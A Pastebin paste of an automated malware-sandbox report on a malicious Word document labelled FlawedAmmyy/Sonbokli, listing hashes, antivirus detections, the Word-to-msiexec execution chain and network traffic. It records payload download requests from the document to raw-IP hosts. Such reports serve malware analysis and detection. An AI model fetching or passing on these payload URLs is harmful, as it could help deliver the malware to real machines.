API tools faq
paste
paladin316

flawedammyy_987bd2361c0ed6e05400b027c113be44_doc.json

paladin316
Jun 20th, 2019
4,584
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 326.90 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Sonbokli"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "flawedammyy_987bd2361c0ed6e05400b027c113be44.doc"
  7. [*] File Size: 96768
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Template: Normal.dotm, Last Saved By: 1, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jun 19 16:14:00 2019, Last Saved Time/Date: Wed Jun 19 16:14:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 134, Security: 0"
  9. [*] SHA256: "a47e8a10f7d3b572659126d1c2e01ee500010692db3bea1b21a66ea1e5e8f474"
  10. [*] MD5: "987bd2361c0ed6e05400b027c113be44"
  11. [*] SHA1: "8da24bc7e6ec3e2bed82adcc7bb43e8609d4ca39"
  12. [*] SHA512: "b91a96d4981cd2c77c13d25a2c7c47415e6a18961caf1c12d1d4c6de3bcdf7515d344a6d1d2215153abe1688ff6ea802606681eab6266c3a60a1c6c3b4026032"
  13. [*] CRC32: "F466B401"
  14. [*] SSDEEP: "768:gA7VFGiSYyZCjDKq4VGFUizPtLwrl2jIZ7b4/WerssRpExqcJrTMV1G7ppp2MVkV:HI9CjDKq4MvtmwEZ7b4OedEeuXMlMiY"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE",
  18. "msiexec.exe"
  19. ]
  20.  
  21. [*] Signatures Detected: [
  22. {
  23. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  24. "Details": [
  25. {
  26. "IP": "65.52.98.231:443"
  27. },
  28. {
  29. "IP": "104.18.24.243:80"
  30. },
  31. {
  32. "IP": "104.93.33.19:443"
  33. },
  34. {
  35. "IP": "104.93.189.220:443"
  36. },
  37. {
  38. "IP": "52.109.92.24:443"
  39. },
  40. {
  41. "IP": "184.84.243.209:80"
  42. },
  43. {
  44. "IP": "72.21.91.29:80"
  45. },
  46. {
  47. "IP": "184.84.243.193:80"
  48. },
  49. {
  50. "IP": "52.109.16.4:443"
  51. }
  52. ]
  53. },
  54. {
  55. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  56. "Details": [
  57. {
  58. "ioc": "iso690nmerical.xsl"
  59. },
  60. {
  61. "ioc": "ontent.inf"
  62. },
  63. {
  64. "ioc": "gosttitle.xsl"
  65. },
  66. {
  67. "ioc": "gb.xsl"
  68. },
  69. {
  70. "ioc": "nline.xsl"
  71. },
  72. {
  73. "ioc": "set.dotx"
  74. },
  75. {
  76. "ioc": "gostname.xsl"
  77. },
  78. {
  79. "ioc": "chevronaccent.glox"
  80. },
  81. {
  82. "ioc": "rid.glox"
  83. },
  84. {
  85. "ioc": "..3b"
  86. },
  87. {
  88. "ioc": "turabian.xsl"
  89. },
  90. {
  91. "ioc": "chicago.xsl"
  92. },
  93. {
  94. "ioc": "iso690.xsl"
  95. },
  96. {
  97. "ioc": "rame.glox"
  98. },
  99. {
  100. "ioc": "ist.glox"
  101. },
  102. {
  103. "ioc": "quations.dotx"
  104. },
  105. {
  106. "ioc": "rocess.glox"
  107. },
  108. {
  109. "ioc": "pictureorgchart.glox"
  110. },
  111. {
  112. "ioc": "sist02.xsl"
  113. },
  114. {
  115. "ioc": "ccent.glox"
  116. },
  117. {
  118. "ioc": "ieee2006officeonline.xsl"
  119. },
  120. {
  121. "ioc": "e.gu"
  122. },
  123. {
  124. "ioc": "architecture.glox"
  125. },
  126. {
  127. "ioc": "adial.glox"
  128. },
  129. {
  130. "ioc": "rings.glox"
  131. },
  132. {
  133. "ioc": "rc.glox"
  134. },
  135. {
  136. "ioc": "harvardanglia2008officeonline.xsl"
  137. },
  138. {
  139. "ioc": "ext.glox"
  140. },
  141. {
  142. "ioc": "content.inf"
  143. },
  144. {
  145. "ioc": "etropolitan.thmx"
  146. },
  147. {
  148. "ioc": "mlaseventheditionofficeonline.xsl"
  149. },
  150. {
  151. "ioc": "iew.thmx"
  152. },
  153. {
  154. "ioc": "asis.thmx"
  155. },
  156. {
  157. "ioc": "ividend.thmx"
  158. },
  159. {
  160. "ioc": "eadlines.thmx"
  161. },
  162. {
  163. "ioc": "rame.thmx"
  164. },
  165. {
  166. "ioc": "erlin.thmx"
  167. },
  168. {
  169. "ioc": "adge.thmx"
  170. },
  171. {
  172. "ioc": "uotable.thmx"
  173. },
  174. {
  175. "ioc": "rop.thmx"
  176. },
  177. {
  178. "ioc": "ircuit.thmx"
  179. },
  180. {
  181. "ioc": "g.n9"
  182. },
  183. {
  184. "ioc": "roplet.thmx"
  185. },
  186. {
  187. "ioc": "avon.thmx"
  188. },
  189. {
  190. "ioc": "eathered.thmx"
  191. },
  192. {
  193. "ioc": "rail.thmx"
  194. },
  195. {
  196. "ioc": "late.thmx"
  197. },
  198. {
  199. "ioc": "vent.thmx"
  200. }
  201. ]
  202. },
  203. {
  204. "Description": "File has been identified by 6 Antiviruses on VirusTotal as malicious",
  205. "Details": [
  206. {
  207. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  208. },
  209. {
  210. "Microsoft": "Trojan:O97M/Sonbokli.A!cl"
  211. },
  212. {
  213. "Endgame": "malicious (high confidence)"
  214. },
  215. {
  216. "TACHYON": "Suspicious/W97M.Downloader.Gen"
  217. },
  218. {
  219. "Zoner": "Probably W97Shell"
  220. },
  221. {
  222. "SentinelOne": "DFI - Suspicious OLE"
  223. }
  224. ]
  225. },
  226. {
  227. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  228. "Details": [
  229. {
  230. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  231. },
  232. {
  233. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  234. },
  235. {
  236. "suspicious_request": "http://54.38.127.28/pm4"
  237. },
  238. {
  239. "suspicious_request": "http://179.43.147.77/01.dat"
  240. },
  241. {
  242. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  243. },
  244. {
  245. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  246. },
  247. {
  248. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  249. },
  250. {
  251. "suspicious_request": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
  252. },
  253. {
  254. "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
  255. }
  256. ]
  257. },
  258. {
  259. "Description": "Performs some HTTP requests",
  260. "Details": [
  261. {
  262. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  263. },
  264. {
  265. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  266. },
  267. {
  268. "url": "http://54.38.127.28/pm4"
  269. },
  270. {
  271. "url": "http://179.43.147.77/01.dat"
  272. },
  273. {
  274. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  275. },
  276. {
  277. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  278. },
  279. {
  280. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  281. },
  282. {
  283. "url": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
  284. },
  285. {
  286. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
  287. }
  288. ]
  289. },
  290. {
  291. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  292. "Details": []
  293. },
  294. {
  295. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  296. "Details": [
  297. {
  298. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9h\\xdd\\x18\\x84{\\xc4.lhw\\xcf\\x9a\\x12\\xeeic\\xfb\r\\x0f\\xa3\\xd3\\xefkm\\xaa*\\xdd73(\\xb6\\xcd\\x99\\xd1\\xd1\\x1e\\s\\xc1\\?\\xacn\\xeb\\x9b\\x9dn\\xc0\\x0f\\x14\\x90\\x0f\\xd1\\xa3\\x99>\\xd66w\\x9fn\\xc7\\xfc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\t\\x1dy_\\x93\\xfdx\\x9dz\\x97\n|\\x95\\x96\\x92\\x044\\x1c\\x02p\\x0e\\xb8cp\\xfd\\xbd\\xadhcq\\x83\\xac\\xc3\\x03\\x8a\\xb60\\xe7c\\xa2\\x0c\\x8e\\x00e\\x8f\\xc0po"
  299. },
  300. {
  301. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pt(l\\xf9\\x9e_e\\xcf\\xfdc\\xa3\\xd4\\x9c\\x11\\x8a\\xb5\\xc0\\xce\\xa1\\x01\\xa6~\\xf1\\xe0\\xfd4r\\xfd\\x80\\x8a'\\xed\\xf4mo'{\\xe3\\xb3\\x89\\x9e\\x87\\xa1\\x88\\xca~]\\xfad\\xfa\\xf4~uc\\xc8\\x94m(~2\\x05lr}\\xa8\\x9f\\xf3\\x00\\xde\\xd4\\xff\\xa4\\xd5\\xe7\\x10\\wxs\\u_\\x92\\xa3\\xa5\\xd6\\xc5\\xf9\t\\x18>\\xf2\\xa6\\xdb\\xcb\\x85\\x19\\xb2\\x8e\\x7f\\x0f8\\x99lm\\x99\\xfd\\x0cx\\xfd\"r\\xf2\\xa6\\x91r\\xc5\\x97\\xd2\\x14\\x1f\\x93\\xce\\x8e\\xf5[x\\xe8/\\x8fu\\xaa\\xce\\xd9l\\xb61\\xc7\\xfe(\\x85yx\\x11\\xec\\xaa\\x0c\\x1a@ni\\xbe@\\xee\\xce\n\\xea\\xb7i\\xd1\\xd4\\xba\\x81\\x9e\\xf2\\xab\\x0c+\\xa4l%58\\xd1\\x05g\\xa1c\\x02x\\xd3\\xeca\\xbe\\xe6\\x06y\\x84\\xa6\\xc1\\xb4\\xe2\\x00\\x90\\xd7\\x85\\x99.\\x87\\xa5\\xa5.]\\x98a,k\\x92}\\xeaj\\xef\\xc0\\xa8q8\\xf8\\xe9\\x86t\\xe0l%\\xbeqp*\"\\xb8\\xa0[y\\xa7\\x9aemh?6\\xe96\\x15\\xb6\\xce\\xfe\\xae\\xec\\xd8\\x95\\x8d\\x91"
  302. },
  303. {
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0b:s\\xd49\\x17\\xd0\\xbf\\x1ap=f\\xb8\\x11\\x0b\\xe8\\xa3\\x8bn\\x02~\\x8b\\xec\\xa4\\x86\\xb7\\xd92s\\xda=\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  305. },
  306. {
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/\\xf6\\xc0`\\xf6as9\\xcd\\x96\\xe3t\\x87{\\xa9\\x89:\\x8c\\xbeym\\xd3\\x1b\\x02&c\\x12\\x9d\\xeb\\x99~\\xcad\\xea\\xcb\\x965\\x81\\x12\thb\\xef\\x0cd\\x8a\\xda\\xe73\\x81r\rez\\x93\\x11\r \\xdfk8\\x1c`b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfa\\xba\\xfa\\xe5^*\\xd4{\\x00wd\\xf8\\x04\\xd1\\x96\\x0e\t\\x80\\xe6\\x95\\xf8\\xe5!$\\x8a\\x9a\\x8d>#\\xa9\\x9d\\xe6\\xeb\\xf0\\xbc\\xa1\\xc50\\xff\\xf6gm\\x03\\xde\\xca|jv"
  308. },
  309. {
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0b:t\\xee\\xe2\\xfap<\\xc0\\xa8\\xc9\\xa9\\xf1\\x80vde\\xd1\\xf1\\xddl\\xcd'\\x93\\xe9\\x89\\xa3\\x7f\\xf8\\x1c\\x89\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  311. },
  312. {
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfas\\xc2\\x05\r\\xaf\\x01\\xc4xw'a\\x84\\xcc\\x17\\xf6ox\\xf4\\x9f\\xcb\\xae\\xa8\\xfa\\xbf\\x19s\\xc7\\xbbv?]\\xbbdy\\xf0\\xe0[ \\xecya\\xefvh\r\\xe1\\xfcnb\\xeb\\x8c\\x12\\x13\\x83]\\xcb\\xae;\\xd3\\x183\\xaa?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000}\\>\\x95\\x8f!\\x1a\\xfd20p\\x19\\xae\\xb5\\[\\xc2\\xa1d\\x00\\xed\\x08\\xa1\\xdf\\x03\\xfc\\xee\\xe2\\xc5\\xb4\\xfdya\\xfc]\\xa9{\n^\\xed!o\\x8b\\x96v\\x8b\\xaeb"
  314. },
  315. {
  316. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  317. },
  318. {
  319. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p|j\\xb0\\xe1\\x9e\\xdc!\\x88];]\\[%\\xc6-\\x0ei\\xa8\\x96.\\xa7\\xa3\\xab\\x8b\\xc9t\\x87\\xb5\\xca;\\x1c\\xae\\xed\\xf9y4\\xce:-z>\\xbb\\xbb\\x86\\xa0\\x06\\xf5\\x12\\xa6\\xc3y\\x02\\xddx\\x84\\x13\\x95[\\xaa\\xe1\\xc5\\x02o\\x14\\x86a\\xf2\\xad\\x08\\xbc\\x11>\\xb8\\x80oa\\x8e\\x8b1\\xbb\\xbd{\\xad\\xd2\\x1b\\x11\\x00n\\xa7\\xe4\\xe5\\xb5a\\x0b?,1\\xd6\\x92\\xed\\xf73\\xf7\\xd3\\xbd\\xca:a\\xc6\\xbd\\xd0\\x1bm\\x0cdv\\x91r\\x9c<q\\xa6\\x91\\x0ci\\xc4\\xba\\xf2l;s0-\\xed\\xcd\\x8a\\xae\\xe1t3\\\\x9f\\xae&\\xcae\\xfd\\xe2\\x99\\xd2\\xa9\\x85\\xf9\\xbf\\xae\\xb3#\\xe8\\xdc\\x9a\\x92v\\xa0z\\xaew\\x8d\\xc4\\xb89\\xb9\\x85\\x9ddw\\xb5\\xb8\\xa0\\xe0\\xe2\\;\\x0e9\\xba\\xdd\\xac\\xe3\\x96\\x83\\x9a~\\xdchd\\xe3\\xda\\xef_vq\\x9bj\\x03}x\\xf4\\xb5\\xac\\xf1q\\xb5\\\\x01\\x9d\\x0e\\x96\\xec\\x1e\\x9c`\\x05\\xb6d\\x04\\xb2\\xa2h\\xccqs\\xc8\\x15x*\\x8b\\xca\\xf01&\\x1c\\xb2\\xdb\\xa3.\\x97\\xe8\ng\\xfe"
  320. },
  321. {
  322. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  323. },
  324. {
  325. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p?_)\\xe5\\xaa(q\\x803s\\xc3\\x88+\\xc6p\\xf3\\xc27-\\xabo\\x11\\xbe\\xea\\xbe\\x9c\\xc7_]\\xb7\\x1cz\\x88\\xect\\x98\\xce\\x0b\\xa0\\x0b\\x8b5\\x155ct7\n\\x8b\\xdd\\xc2vh\\xba(\\x81\\x8f\\xf7\\x15\\x80ga\\xea+\\xdd\\xb6r\\xca\\xdb\\xaf@\\x11\\xad\\x98\\xf8\\xfb*\\x86\\xae\\xe9\\x04\\x1f|\\x90b\\x18\\x0c\\xd7\\xd5\\x06\\xaeh\\xe7\\x90\\x15\\xf5\\xd5\\x0f\\xa0\\x8a\\xfc\\x82\\x82m\\xd9sr\\xbc\\x91]o?\\xb2\n\\x86\\x89x`\\xa7\\x1a\\xa3z\\xef\\xe7m\\x12\\xe0\\xd2\\x8c\\xed\\xc2\\x1f\\xde\\xd2\\x18+\\xff\\xf3\\xfa,\\x16\\xf0=xj}0a\\x16\\xed\\x8c\\xf1c<\\xacyw\\xbd\\x89\\x14\\xdc\\xa3n\\x9ay$cx\\xce\\x05g\\xe2,]\\xfb\\x18\\x16+9\\x8a\\x10|\"\\xc8\\x15\\x0b)\\xa9\\xa6r\\x96k\\xc6;z\\xab\\xb2\\xfe\\xf5\\xc3=\\x9f(6\\x938\\xf9r\\xce;\\xc5\\xdbe\\xbc!\\x80(\\x89\\x08bw\\xab\\xad\\xd8\\xc5r\\x99w\\x97\\xbb\\xa8\\x10u\\x86\\x95\\xcf*\\x7fe\\xf8\\xd9$z\\x02\\x1es\\xf0\\x1a\\xec.-"
  326. },
  327. {
  328. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xdc\\xd2v\\x0e\\xcc\\x04,h\\x11?o\\x95l\\x05n\r\\xa5\\x0e\\x88\\x87\\xb2\\xd0\\xc9\\xbb\\x942\\xf5^\\xe4s1+\\xa0/\\x98\\x8e\\xa5a\\xf8\\x91e,{p\\x8bi?r\\xcd\\xcf\\xa8\"\\xd6i\\xb7\\x02a\\x1d\\x93\\xc5\\x17\\xfb\\xac{\\xa4((l\\x84\\x04\n\\x06\\x85g\\xed\\xea\\x8a\\xa8x\\x9c\\xe7>\\x91\\xe9\\x98+\\xd8\\x04\\xa4u\\x01\\x93\\x1djo\\x8f\\x89^\\xc2\\xec\\xbd\\xc7\\x82\\xc7\\xcaw\\xc1\\x1d\\xdc\\x04\\xefy\\x96ze\\xc4\r\\xe0_\\xa0&\\xdd\\xb1 \\x9c\\xe9d\\xaba\\xdd\\xf7\\x13\\x97\\x1b\\xc6\\x19\\x90x\\x8a\\x8bc\\x0e\\xc4\\xa3s\\xb1\\xf6\\x90\\xc9a\\x94x\\xb9\\xc4|\\xe24x\\xc4q\\xfb3d\\x80\\x85\\xd3sm\\x08p\\xd5!\\xb9\\xd7\\x86\\xcf\\xd9`\\x9c\\xab\\x92\\xf2\\xaal\\x99\\x91_nz\\x19\\xbf\\xca\\x88t\r\\xaa\\x84_$\\xa8\\xc0\\x7f\\xe4\\xcbz\\xe4+\\xae\\x0c\\xe7ktl\\x06\\xf2\\x0e\\xcbz\\xdd\\xff&t\\x10!\\xed\\xa9p\\x8b\\xf2\\x9c\\xbc\\xba\\xf0\\x93na\\xb4\\x96\\xee9q\\xfc0\\x90\\x10ki\\xac\\xc3\\xd3\\xc0"
  329. },
  330. {
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x0b:|\\x88\\xd8\\xca\\xc6*f\\xc5\\x1a\\x1f\\x9d\\xaa\\xdc\\xd0\\xad\\x9b\\xe3\\xf3\\xb0l\\xbc\\xbc&b\\x19x\\x0f\\x01p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332. },
  333. {
  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00j\\xa6\\x95\\xd4\\x00\\xcc\\xba\\xa2\\xaa\\xed\\x92\\xdd\\xf16y\\x97us\\x7f\\xd4\\x8c\\xa9\\xae3\\xe7um\\xf4\\x99\\xef>e\\xa9n\\x0b\\xc3w\\x93\\xd7\\x06\\xa2\\x7f\\xe7\\xae\\xdb\\xf9\\xd7\\x86\\xd9*\\x07h\\xb0\\xd6\\x017k\\xa2'\\xdf\\xfe\\xdfh\\x1e\\xfb]\\x01\\x01\\xfd`\\xa2\\x1asv\\x1f\\xf6q\\xafa\\xb3~e\\x9d\\xfag\\xea\\x1c\\x8e\\xefp\\x80u\\xa8\\x11\\x13\\xa2_\\x991op\\xf9\\x834\\x83\\xb6h\\x9en\\x0b\\x9c\\x08\\xc0\\x0c\\xd6\\xe8\r\\x13,qs\\xa2\\x1aw8[\\x02sv\\xd4\\xa0\\x7f\\xa8\\x8b\\xf1\\x16\\xd4f\\x9c\\xf6\\x13\\x06w\rru^\\xfe\\su\\xa3>.\\xb1\\x02z\\xed\\xf6\\xd69t\\x08d]\\xa1\\x7f\\x07v\\xde\\xe4n\\xb7\\x88>\\x16\\xd4=\\xc9\\xd1%\\xc0\\xe2>\\x9b\\xbfn\\xf9i\\xd3\\xe7\\xbf\\xd3?\\x81\\xf3m\\x1d\\xac\\x8c\\xce\\xc18\\x99/.\\xe7\\xf4\\\\xf5\\x0f\\x97>'d\\xbc\\xbc\\x84]\\x1c\\xdd\\xd6\\x88\\x96\\xd2g\\xc3\\xae\\x1ei\\xa6\\xd1\\xe1\\xf2\\x8f,*w\\x00\\xed\\xbc\\xac\\x9c\\xd7\\x99"
  335. },
  336. {
  337. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x9d\\x1a'\\x8al\\xa0(\\x85\\x89d-2\\xb5b\\xeb\\x03'\\x92y\\xdey\\x88\\xf0f\\x8e\\xb9\\xe8%vr\\xd9\\x80\\x9cs8b\\xd3\\x86\\xc0w\\xb1\\x03m\\x92\\xc2nu>\\x86\\xa5\\xb5lq\\xca\\xa2\\xa7\\xb0\\xbe!c\\xa7\\xeeb\\xe0\\xe0\\x89\\x12\\xc0\\x00\\x86)n'<\\xf1\\xd6q\\xe0`\\xc5\\xc9`\\x97\\xaa\\xd85\\xdcv\\x8cp\\xf6t\\xecaz\\xebe\\xb9\\xf3\\xbdb\\x9fx\\xb5\\xfa\\xf4\\xed\\x01\\xc9\\xabc\\x9b\\xacu\\xcc\\xf9\\xb5\\xef\\xbf\\xf3\\xced\\x89\\x178rm\\xe1y(\\x05\\x17\\xa4\\xdfi\\xf3e#n\\xaa}g\\x8c\\x07&\\xb4\\xd0\\%$\\x1f\\xa7,aay\\xf9p*\\xce\\xc9\\xcf\\xa0\\xfcr\"\\xc0\\x07us\\x146\\xb0\\x07\\x8d\\xd9ra\\x1c\\xfa\\x8c\\x86w\\xb1l/\\xb8~\\xe1\\x985\\xd1b\\xbf\\x13\\xa6\\xa2\\xb8\\xd9\\xea\\x9e\\xadd\\xf0\\xb1@_\\xd7\\xe4\\x98l\\xa8\\x08\\xfelw4f \"\\x1e\\x98\\xc9kk\\x13\\xeft\\x7f\\x9ac\\xa3\\x19\\x90\\xb8o\r`\\xaa\\x1er\\x83\\x00\\x97\\xfei\\x88\\x03\\xc9\\xb7z"
  338. },
  339. {
  340. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\xdd\\x1c\\x1d\\xf3\\x8f\\xf5z0\\xac7\\x08\\xc2\\xc5\\x04-xju\\xa0\\xfc\\xd5\\xe9\\x84\\xf3\\x8f\\xe2\\xdfy\\x02\\xca7j\\xe0\\xcf\\x06nym\\x9byn\\x03q\\x10\\x94\\xbf\t\\x03h`\\xecad\\xc83\\xb9\\xa1m\\xd4uq\\x84\t\\x9ai\\xdc1\\xc4\\x12\\xced\n\\xd6tb\\x88\\x966\\xfc\\xbew\\xec\\xc8)\\xbd\\xca\\xe2\\x1e\\x8bw\\xa9}\\xc8`\\xf7s\\xc7\\x83\\xa6m\\x04-^;;\\xdb\\x03\\xf8\\x14u]\\x18mo\\xc1\\xd6o+ m\\xf9\\xf5\\x94@\\xd2\\xb2v\\xce-\\xc7\\xc19\\x15\\xa0\\x13pz\\x1c!\\x8c\\xc6x\\x91zv\\x0b\\xb6\\x88\\xf7\\xc9u,\\x93\\xa5\\xb3kg\\x05\"\\x8f\\x1b$\\xe9x\\xc2\\xfc1\\x06yn\\xbc\\xb0\\xb6?'j\\x0b)l\\x9a\\xf2p\\xf8$]\\xf7\\x9f.m7v\\xcf\\x1fj\\xde'\\xb9-\\xa7\\x82\\x18\\xd8\"\\xc0\\xb5\t\\xa8\\x83t1\\xa7,\\x10\\xa6-\\x92\\xf17\\x00\\xe6\\xcd\\x00y\\xc6\\xe2\\xac7\\xb2\\xf2#\\xdd\\xb5\\x11\\xbf\\xee\\xaf\\xde\\x11\\xeb\\xed1\\xeeis\\x116\\xcb#\"q\\xcd"
  341. },
  342. {
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x0b:}\\xcc\\x18\\xb1_d\\xda\\xa2\\xa4\\xd4\\x86\\xfdl\\xe6\\x86\\x95%5\\xf8\\xbe\\xa4\\xfc\\x87\\xf0o\\xa2\\x98ni\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344. },
  345. {
